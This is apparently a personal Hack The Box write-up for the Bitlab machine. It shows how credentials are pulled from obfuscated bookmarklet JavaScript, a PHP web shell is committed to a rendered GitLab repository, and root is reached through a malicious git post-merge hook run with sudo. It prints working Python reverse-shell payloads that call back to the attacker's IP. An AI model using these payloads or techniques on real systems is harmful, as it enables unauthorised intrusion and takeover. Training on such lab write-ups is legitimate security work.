jebidiah-anthony

write-ups and what not

HTB Bitlab (10.10.10.114)


TABLE OF CONTENTS


PART 1 : INITIAL RECON

$ nmap --min-rate 15000 -p- -v 10.10.10.114

  PORT   STATE SERVICE
  22/tcp open  ssh
  80/tcp open  http

$ nmap -p 22,80 -sC -sV -T4 10.10.10.114

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
  |   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
  |_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
  80/tcp open  http    nginx
  | http-robots.txt: 55 disallowed entries (15 shown)
  | / /autocomplete/users /search /api /admin /profile 
  | /dashboard /projects/new /groups/new /groups/*/edit /users /help 
  |_/s/ /snippets/new /snippets/*/edit
  | http-title: Sign in \xC2\xB7 GitLab
  |_Requested resource was http://10.10.10.114/users/sign_in
  |_http-trane-info: Problem with XML parsing of /evox/about
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


PART 2 : PORT ENUMERATION

TCP PORT 22 (ssh)

$ ssh 10.10.10.114

  The authenticity of host '10.10.10.114 (10.10.10.114)' can't be established.
  ECDSA key fingerprint is SHA256:hNHxoptKsWqkzdME7Bfb+cGjskcAAGySJazK+gDDCHQ.
$ Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

$ [email protected]'s password: 

  Permission denied, please try again.

$ [email protected]'s password: 

  Permission denied, please try again.

$ [email protected]'s password: 

  [email protected]: Permission denied (publickey,password).

The OpenSSH service can be authenticated using a publickey or by simply using a password. If this service will be useful, either a private key or user credentials might be hidden in the http service.

TCP PORT 80 (http)

Opening http://10.10.10.114/ on your browser leads you to a GitLab Login Page:

Landing Page

Viewing the page source doesn’t seem to yield anything relevant; on the bottom of the page, however, are the links Explore, Help, and About GitLab which leads to:

LINK LOCATION
About Gitlab https://about.gitlab.com
Explore a page where you can view Projects, Groups, and Snippets that are publicly available inside the box but there are none at the moment.
Help The following image

Gitlab Help

/help is a directory (rather than a rendered page) which contains a file called bookmarks.html which when opened:

GitLab bookmarks.html

With the following page source:

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Bookmarks</title>
</head><body><h1>Bookmarks</h1>
<dl><p>
    </p><dt><h3 add_date="1564422476" last_modified="0" personal_toolbar_folder="true">Bookmarks bar</h3>
    <dl><p>
        </p><dt><a href="https://www.hackthebox.eu/" add_date="1554931938" icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACuklEQVQ4jW2Tz2tcdRTFP+d+33szmUlGjCh0pppQrQYLlcaiRloxi2zERUUR7FYXutCVC/8AFy7MRkHc+B+04EqQLiIqKCqiBSUKRqLplCyMZl7n13vzvtfFi6Vg7/bcc7jcc46oR4ADdO87cS6YXna0jtM7Qq8J36qif9T/Y+fLWzni5nRbx5fa78h4VZBCRKpF3REYDqVHPtzbHb4F/dF/Ktbtdpsha31swTbwKsZKcTrGZqUEkKTujTmiBTcULFbxSjHOn9vf3x8HwO9YvGczJOGlWVFNh7lCkrk9sDrT+sUxp84VxEo62DcbDkQIsUjS8KAsXRgc/v2Jer3lJyxLv4gzp9WJtroxVe+hGdOh+P1qKoDl06XPzTt72wnfX2n4aGDREhGL8nzo3HXn20nQ6vBQ8ckLE3v2tRHTkfju06auftbw6zsJFtDK4yWPPTPl8ED65dvM51qeRHmaCFt33EHWbMOlzTa7PyV66sWJn39hIoC/rptf2mxr+dTMO3dHBOa4C1tPhI65O4AEhAA7P6T+6zepnn9zCMDld9tKMvzE6RLVf5U7CB1L3GsiR0GwAK2OEyNURY3MLzpmNVYbe7TvyJD3JXDHZc44F6OBhOMWbpJ8NJDGuUBe7wqQ982JW6qPiOVEnNmYcvJs6ZOhNL4hH9+QT4bSybOln9koKKcARCE5cUu93tKaZdnnsXIac9EeebrQylrBZCgWFuuk5gfyZtvZ/jrjx63Mp2OLFmobBXB86f73Qgivz2bVdJwrTTJ078qMh9cKAH7+KuPP7YSqxJvzXiZJaFRV9f7e7m9v/C/K7lV0VyxGbmVpAkjT6FlLUXLTUZSrYnSh3+9PAuB5npeDf5qXFzppB+lRoTRJUTbnZE0nSWVC5mgWKz7Y2x29kuf90a1tvE2dWcd1VGe/Jrhtnf8FOj1caqcXEh4AAAAASUVORK5CYII=">Hack The Box :: Penetration Testing Labs</a>
        </dt><dt><a href="https://www.docker.com/" add_date="1554931981" icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACE0lEQVQ4jbWTu2tUURDGf3P23JvdKxvRGIwEA1okmNSWAcFCBIs0+QfEF0hsFFtPwNIHKFosWGhhYbCzEERMQCIoiBYJCpEYAxJNk6e5u3vOGYtdkvVBsPGDYZhhHh/fnAPbwTmDU7Ntzf/Fva/XqMzfBmQz9xsj2/SCKoyOClP9wsC0MtUvxHgAKIETuAKI4iS2DpDWgMr8LXxtEGNnIOxDzCJSSDiz/wQAR15YhjqPsjTwDCcRp8bi1NDxsYtAmVp1FfQLhG8QFJF1qCdcf9dLVlonD3sp736K/XQWqOAkNhjcmbmKMILyHGO6sckc3ndTsMugBqULa2dZWRtlR+kN+foiWft7fHW8wN2Z40AvsIzIEkoOugaaI6wSwwYavhPjEhI68dVBitkuNPbg/RML5j7W7EHjDzQmiEQ0GiASQ1MjUTQakmJKqEP0F1nJH3J5YMFC/EyIHfhahgioyqa82qqw1kmzgJjXnDt4o3FSZywhvKSteJh6rYaQILLVJpvbA6ZgEfGE/BIgDKvBSTBAhRBWSNtSotYBj2qLRUizhDTboFo9xflDk6AwJgHAMNL3Ae9PkhQXyMoppfaErD0h29nwSRoQM0EtH+JC3wOcM7DF0qIqiDzm5vQkxdIxfN6HUqYgG2DnSJNXnO55i5tta9b+8hKb+qj8mfw3tDSq8IjmRxkDhmF6XGAi4txftjbwE2NZ43Pq//CoAAAAAElFTkSuQmCC">Enterprise Application Container Platform | Docker</a>
        </dt><dt><a href="https://www.php.net/" add_date="1554931999" icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAb0lEQVQ4jWNsaDjAQApgIkk1ORpY0Pjh4eIQxsqVL4m1QVNTk4ANWE0NDxeHcNFlr1+/Dld0/fp1glwmZA7cMXi4dAtWiHXILkYGyLIscFcywMLh+vXrcAamLMJJ8DDFZCCzmfC4BNl4OGCkeWoFAHM4Vw1BMLruAAAAAElFTkSuQmCC">PHP: Hypertext Preprocessor</a>
        </dt><dt><a href="https://nodejs.org/en/" add_date="1554932008" icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAC1UlEQVQ4jW2TT4iVVRjGn+c957vfnWlmuNZgKCkEhS7cmSS2aTe00M0wQn9IsRSCIMyFMbgqdKVtok2Bi1EQvAspMHATbVwWLQpiQKjUHJs7c6/3u/f77vfvPC6u84forA6H933Oy/vjB2w7CzcX3Mb9/A/vv3Xh9plfz9489cvpq+/M/V8NAHD8CNc+jhoAPr4zv3+SzUVfR++ZYpZ5QL+fBzNcQ8Clr08sLW8EtY+3a24kvXv99ZnZl3afi0L86WQ8OVX1glR5hYoYpgVdw5G1EiOv9P7ufHn1/PfJ5gSnb8/NT+2ILkZuYl8YGFzdKK00jxChLoCiCMiyvPLeR1PTTSDojxpavDz/7S1789zR2ezfaMk89+XDsgxBAuApEgGEQICE0RdlqUE/K513+//pdJbwwczztucVb3XSHKaPGczDAQQkwiAYRKMAiQLrOkCC6z4ZhIdrnfTgnlfNWvFIzThivtY0lQAgApSe/S6BBEmjyrpmFYIe9boWAtiabcl6+SyjmLQ6QtH3NAcoiOQ2TAAUSEDoDRKm+QjeO/Y6PRqeG8AZETUMf/71BEUeYEZIgKQt3hSMRFYV8GaILQKmpmGjaiQfU0kxxOp6X49XUjhPSALJbSGERIBQpRrNhlerSGXNVpMZ07Cy3g2NhuejlUSDtJD3JkHjJRICJFCiyKwqQgjSzhdepE3s7YYHq+szRajNOauKssKDhz2ajTEqiAgaoxxvo3beLCmy6coVwb557ae1pFueNPKei13U8I4rnaTqDTK5yCRKGk9QEaSfiCIG3Cvq6mT7wztdBwD3f7z/+643dl8nANIOoWGNPCuxq7VDdQXUQXSxd6Msz7O8uDJYzU7c/fzuz1uUFuDQHst05OKRA867xVCFtw+8vBc7p1sYpgVGo/JGkiaXrn1067f/9myZuYBNVQ9/cfjY0a/mlj/77szyJzdOHdvUeVyzKeFT9k18v9LwrSUAAAAASUVORK5CYII=">Node.js</a>
        </dt><dt><a href="javascript:(function(){ var _0x4b18=[&quot;\x76\x61\x6C\x75\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x63\x6C\x61\x76\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64&quot;,&quot;\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78&quot;];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" add_date="1554932142">Gitlab Login</a>
    </dt></dl><p>
</p></dt></dl><p>

</p></body></html>

All links lead to https:// websites except for Gitlab Login which is referenced to an obfuscated javascript function.

After cleaning the js code a bit:

javascript:(
  function(){
    var _0x4b18=["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65", "\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64", "\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; 
  }
)()

then converting the hex values to ASCII characters:

javascript:(
  function(){
    var _0x4b18=["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; 
  }
)()

which is essentially:

javascript:(
  function(){
    document["getElementById"]("user_login")["value"]="clave";
    document["getElementById"]("user_password")["value"]="11des0081x";
  }
)()

It reveals a credential pair clave : 11des0081x. Using it to login via SSH fails but using it to login to the GitLab service:

GitLab Clave

Before checking the contents of the available repositories, I first checked the clave’s account settings and it brought me to http://10.10.10.114/profile/:

GitLab settings

which was very weird and it led me to believe that the Profile repository listed above was rendered.

GitLab Profile

Since the Profile repository contains an index.php file, I tried loading http://10.10.10.114/profile/index.php which gave me the same page generated when I checked clave’s account settings. My assumption that the mentioned repository was rendered was further supported.

Aside from that, is the fact that GitLab has CI/CD (Continuous Integration, Continuous Delivery and Deployment) support which is most likely in use since Auto DevOps was also enabled for the repository.

Continuous Integration

“For every push to the repository, you can create a set of scripts to build and test your application automatically, decreasing the chance of introducing errors to your app.”

Continuous Delivery

“Your application is not only built and tested at every code change pushed to the codebase, but, as an additional step, it’s also deployed continuously, though the deployments are triggered manually.”

Continuous Deployment

“Similar to Continuous Delivery; the difference is that instead of deploying your application manually, you set it to be deployed automatically.”


PART 3 : EXPLOITATION

Since the assumption so far is that the contents of the Profile is being rendered on the URL, http://10.10.10.114/profile/, and that the current user has access to the repository perhaps a webshell written in PHP could be added to the repository then accessed.

GitLab Reverse Shell

It’s just a short code which reads:

<?php echo shell_exec($_GET["cmd"]); ?>

Commit then merge by pressing the following buttons: Commit changes -> Submit merge request -> Merge

Then I used curl to check if the webshell works:

$ cmd="id"; curl --data-urlencode "cmd=$cmd" -G http://10.10.10.114/profile/shell.php

  uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ cmd="uname -mnos"; curl --data-urlencode "cmd=$cmd" -G http://10.10.10.114/profile/shell.php

  Linux bitlab x86_64 GNU/Linux

It works! Now, to establish an actual reverse shell:

  1. Establish a listener on your local machine:

    $ nc -lvp 4444
    
      listening on [any] 4444 ...
    
    
  2. Then execute a python reverse shell using the webshell from earlier:

    $ ifconfig tun0 | grep inet 
       
      inet 10.10.15.19  netmask 255.255.254.0  destination 10.10.15.19
      inet6 dead:beef:2::1111  prefixlen 64  scopeid 0x0<global>
      inet6 fe80::3099:61c7:b1cd:58a1  prefixlen 64  scopeid 0x20<link>
       
    $ shell='
    > import socket,subprocess,os;
    > s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    > s.connect(("10.10.15.19", 4444));
    > os.dup2(s.fileno(),0);
    > os.dup2(s.fileno(),1); 
    > os.dup2(s.fileno(),2);
    > p=subprocess.call(["/bin/sh","-i"]);
    > '
       
    $ cmd="python -c '$shell'"
       
    $ curl --data-urlencode "cmd=$cmd" -G http://10.10.10.114/profile/shell.php
       
    
  3. Going back to the listener:

    
      10.10.10.114: inverse host lookup failed: Unknown host
      connect to [10.10.15.19] from (UNKNOWN) [10.10.10.114] 54902
      /bin/sh: 0: can't access tty; job control turned off
    
    $ python -c 'import pty; pty.spawn("/bin/bash")'
    
    [email protected]:/var/www/html/profile$ cat /etc/passwd | grep -E "*sh$"
    
      root:x:0:0:root:/root:/bin/bash
      clave:x:1000:1000::/home/clave:/bin/bash 
    
    

PART 4 : PRIVILEGE ESCALATION (www-data -> root)

One of the first things I try is to look for commands I could execute with higher privileges:

[email protected]:/var/www/html/profile$ sudo -l

  Matching Defaults entries for www-data on bitlab:
      env_reset, exempt_group=sudo, mail_badpass,
      secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

  User www-data may run the following commands on bitlab:
      (root) NOPASSWD: /usr/bin/git pull

It seems like the current user (www-data) could run the git pull command as root. While searching for an exploit, I came across the post-merge hook.

Basically, git hooks are custom bash scripts that run when a certain action occurs. There are two types of hooks – Client-side and Server-side hooks.

Client-side Hooks

Triggered by operations such as committing and merging

Server-side Hooks

Runs on network operations such as receiving pushed commits

And post-merge runs after a successful merge command. This comes in handy since git pull (which we can execute with a higher privilege) works by first running git fetch to download contents from the remote repository then git merge the remote and local contents of the repository.

[email protected]:/var/www/html$ ls -lh

  drwxr-xr-x 3 root root 4.0K Feb 26  2019 deployer
  drwxr-xr-x 2 root root 4.0K Jul 30 19:56 help
  -rw-r--r-- 1 root root  11K Jan  1  2019 index.html
  drwxr-xr-x 3 root root 4.0K Jan 10 17:57 profile

[email protected]:/var/www/html$ git -h

  bash: /usr/bin/git: Permission denied

All local copies of the repositories are owned by root so we should have a copy of the repository that we can control and write to. Since the repositories are readable by all users, we could just copy it to a directory of our choosing.

In addition, the git command, in general, could not be used by the current user so cloning the repository is out of the question. Instead, I used cp.

[email protected]:/var/www/html/profile$ cd /dev/shm

[email protected]:/dev/shm$ cp -r /var/www/html/profile/ ./

[email protected]:/dev/shm$ cd profile

[email protected]:/dev/shm/profile$ ls -la

  total 112
  drwxr-xr-x 3 www-data www-data   160 Jan 10 17:59 .
  drwxrwxrwt 3 root     root        60 Jan 10 17:59 ..
  drwxr-xr-x 8 www-data www-data   300 Jan 10 17:59 .git
  -rw-r--r-- 1 www-data www-data    42 Jan 10 17:59 .htaccess
  -rw-r--r-- 1 www-data www-data   110 Jan 10 17:59 README.md
  -rw-r--r-- 1 www-data www-data 93029 Jan 10 17:59 developer.jpg
  -rw-r--r-- 1 www-data www-data  4184 Jan 10 17:59 index.php
  -rw-r--r-- 1 www-data www-data    40 Jan 10 17:59 shell.php

The only thing left is to create the post-merge hook then perform a successful merge action.

[email protected]:/dev/shm/profile$ cd .git/hooks

[email protected]:/dev/shm/profile/.git/hooks$ echo -e "\x23\x21/bin/bash" > post-merge

[email protected]:/dev/shm/profile/.git/hooks$ echo "" >> post-merge

[email protected]:/dev/shm/profile/.git/hooks$ echo -e 'shell=\x27
> import socket,subprocess,os;
> s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
> s.connect(("10.10.15.19", 6969));
> os.dup2(s.fileno(),0);
> os.dup2(s.fileno(),1); 
> os.dup2(s.fileno(),2);
> p=subprocess.call(["/bin/sh","-i"]);
> \x27' >> post-merge

[email protected]:/dev/shm/profile/.git/hooks$ echo "" >> post-merge

ww[email protected]:/dev/shm/profile/.git/hooks$ echo 'python -c "$shell"' >> post-merge

[email protected]:/dev/shm/profile/.git/hooks$ chmod +x post-merge

[email protected]:/dev/shm/profile/.git/hooks$ cat post-merge

Since I won’t have access to the terminal that runs the post-merge file, I decided to execute another reverse shell.

The created post-merge file looks like this:

#!/bin/bash

shell='
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.19", 6969));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
'

python -c "$shell"

To have a successful merge, the git pull command must first have new content to download from the remote repository so I created a new file

GitLab New File

Then I commit and merge the new file by pressing the following buttons: Commit changes -> Submit merge request -> Merge.

All that’s left now is to set-up a listener for the root reverse shell then run git pull using sudo.

$ nc -lvp 6969

  listening on [any] 6969 ...

Then on the www-data shell:

[email protected]:/dev/shm/profile$ sudo /usr/bin/git pull

  remote: Enumerating objects: 9, done.
  remote: Counting objects: 100% (9/9), done.
  remote: Compressing objects: 100% (6/6), done.
  Unpacking objects: 100% (8/8), done.
  remote: Total 8 (delta 4), reused 0 (delta 0)
  From ssh://localhost:3022/root/profile
     10c3aeb..37e0223  master     -> origin/master
   * [new branch]      test       -> origin/test
  Updating 10c3aeb..37e0223
  Fast-forward
   root           | 1 +
   1 files changed, 1 insertions(+)
   create mode 100644 root

Then back to the established listener:


  10.10.10.114: inverse host lookup failed: Unknown host
  connect to [10.10.15.19] from (UNKNOWN) [10.10.10.114] 46978

# id

  uid=0(root) gid=0(root) groups=0(root)

# hostname

  bitlab

# cat /root/root.txt

  8d4c........................587c

# find /home -name user.txt -exec cat {} +          

  1e3f........................8154

This is one of two methods for rooting the box. I have yet to figure out how to do the other one. Thanks for reading. :)